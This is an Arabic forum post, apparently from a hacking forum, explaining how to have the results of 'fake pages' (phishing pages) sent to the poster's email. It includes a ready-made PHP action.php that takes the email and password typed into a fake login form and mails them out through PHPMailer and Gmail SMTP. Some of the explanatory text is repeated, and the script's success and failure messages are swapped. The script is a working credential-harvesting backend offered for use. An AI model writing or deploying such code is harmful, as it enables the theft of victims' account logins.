ملف action لوصول التبليغ على الايميل
كثير من الاعضاء يريدون التبيليغ بالصفحات المزوره ان ياتي على الايميل
لذا هذا الشرح
في حال عدم دعم السيرفر لداله mail
ادا جربتها ما راح ترسل لك لدى ساعطيك ملفات جاهزة كتبتها من زمان و ان شاء الله تشتغل لك
و استغليت فيها الكلاس بتاع ال phpmailer و سيرفر ال gmail لكي تصل الرسالة لدى لازمك فقط ايميل في gmail
المهم تعمل ال index.html الخاص بك و تعمل فيه ال forms اللي بدك
و هدا سيكون ملف ال action.php او كما تريد تسميته
هنا عدل على اسماء ال forms بتاع الاندكس طبعا عدله في الكود السابق
و هده ملفات الكلاس في المرفقات ارفعها ايضا
بالتوفيق
لذا هذا الشرح
في حال عدم دعم السيرفر لداله mail
ادا جربتها ما راح ترسل لك لدى ساعطيك ملفات جاهزة كتبتها من زمان و ان شاء الله تشتغل لك
و استغليت فيها الكلاس بتاع ال phpmailer و سيرفر ال gmail لكي تصل الرسالة لدى لازمك فقط ايميل في gmail
المهم تعمل ال index.html الخاص بك و تعمل فيه ال forms اللي بدك
و هدا سيكون ملف ال action.php او كما تريد تسميته
PHP:
require_once("class.phpmailer.php");
include("class.smtp.php");
$sname="Vbspiders";
$smail="mablue@live.com";
$rname="vbspiders";
$rmail="mablue@live.com";
$sub="Result";
$gmail="هنا ضع ايميل الجي ميل";
$gpass="هنا باسوورد ايميل الجي ميل";
$body="E-mail : $_POST[mail]<br>Password : $_POST[pass]";
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->SMTPAuth = true;
$mail->SMTPSecure = "ssl";
$mail->Host = "smtp.gmail.com";
$mail->Port = 465;
$mail->Username = $gmail;
$mail->Password = $gpass;
$mail->AddReplyTo($smail,$sname);
$mail->AddAddress($rmail, $rname);
$mail->From = $smail;
$mail->FromName = $sname;
$mail->Subject = $sub;
$mail->MsgHTML($body);
$mail->IsHTML(true);
if(!$mail->Send()) {
echo "تم الارسال بنجاح";
}else{
echo "لم يتم الارسال بنجاح";
}
PHP:
$mail->Username = $gmail;
$mail->Password = $gpass;
بالتوفيق
المرفقات
اسم الموضوع : ملف action لوصول التبليغ على الايميل
|
المصدر : قـسـم الـبـريد الإلـكتروني والحسابات العامة
